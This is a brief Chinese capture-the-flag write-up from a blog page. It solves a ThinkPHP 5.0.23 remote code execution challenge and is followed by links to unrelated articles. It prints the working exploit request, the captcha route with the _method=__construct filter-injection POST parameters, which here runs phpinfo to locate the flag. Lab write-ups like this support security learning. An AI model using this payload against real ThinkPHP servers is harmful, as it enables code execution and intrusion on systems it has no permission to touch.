[ThinkPHP]5.0.23-Rce 1

embedded/2024/12/29 6:11:49/

[ThinkPHP]5.0.23-Rce 1

根据题目知道这是一个5.0.23的PHP RCE,话不多说直接上扫描器

image-20241105074629529

检测出Payload

url地址:
?s=captcha&test=-1 Post表单参数: 
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

HackBar构造payload,访问成功执行到phpinfo页面

image-20241105075013554

ctrf+f 成功找到flag

image-20241105075051782


http://www.ppmy.cn/embedded/148931.html

相关文章

软考高项,项目整合管理

定义 项目整合管理包括识别、定义、组合、统一和协调项目管理过程组的各个过程和项目管理活动。在项目管理中,整合管理兼具统一、合并、沟通和建立联系的性质,项目整合管理贯穿项目始终。项目整合管理的目标包括:①资源分配;②平衡…

Yolo11改策略:卷积改进|SAC,提升模型对小目标和遮挡目标的检测性能|即插即用

摘要 一、论文介绍 本文参考的论文主要介绍了DetectoRS模型,一个高性能的目标检测模型。DetectoRS通过引入递归特征金字塔(RFP)和可切换空洞卷积(SAC)两大创新点,显著提升了目标检测的精度。尽管原文并未…

PCL点云库入门——PCL库点云滤波算法之直通滤波(PassThrough)和条件滤波(ConditionalRemoval)

0、滤波算法概述 PCL点云库中的滤波算法是处理点云数据不可或缺的一部分,它们能够有效地去除噪声、提取特征或进行数据降维。例如,使用体素网格滤波(VoxelGrid)可以减少点云数据量,同时保留重要的形状特征。此外&#…

计算机图形学知识点汇总

一、计算机图形学定义与内容 1.图形 图形分为“图”和“形”两部分。 其中,“形”指形体或形状,存在于客观世界和虚拟世界,它的本质是“表示”;而图则是包含几何信息与属性信息的点、线等基本图元构成的画面,用于表达…

List反转的方法

1.list循环 List<String> strsnew ArrayList<>();for (int i 0; i <100 ; i) {strs.add("a"i);}List<String> fzstrsnew ArrayList<>();for (int i strs.size()-1; i >0 ; i--) {fzstrs.add(strs.get(i));}System.out.println(fzstr…

Clickhouse 集群配置

前提 需要一个Zookeeper集群需要三个节点部署ClickHouse config.xml基础配置 vi config.xml 通常要检查xml里面这几个&#xff1a; listen_host # 改成<listen_host>::</listen_host> tcp_port # 要改端口这里http 和 tcp http_port …

路由器做WPAD、VPN、透明代理中之间一个

本文章将采用家中TP-Link路由器 路由器进行配置DNS DNS理解知识本文DNS描述参考&#xff1a;网络安全基础知识&中间件简单介绍_计算机网络中间件-CSDN博客 TP LINK未知的错误&#xff0c;错误编号&#xff1a;-22025 TP-LINK 认证界面地址&#xff1a;https://realnam…

探索鸿蒙的蓝牙A2DP与访问API:从学习到实现的开发之旅

完成了鸿蒙系统中一系列的学习与实际应用后&#xff0c;我的开发旅程逐渐走向了更复杂的领域。这次&#xff0c;我决定挑战蓝牙相关功能。蓝牙技术是现代设备互联的核心之一&#xff0c;而鸿蒙系统提供的Bluetooth A2DP API和Bluetooth Access API为开发者带来了便捷的接口。不…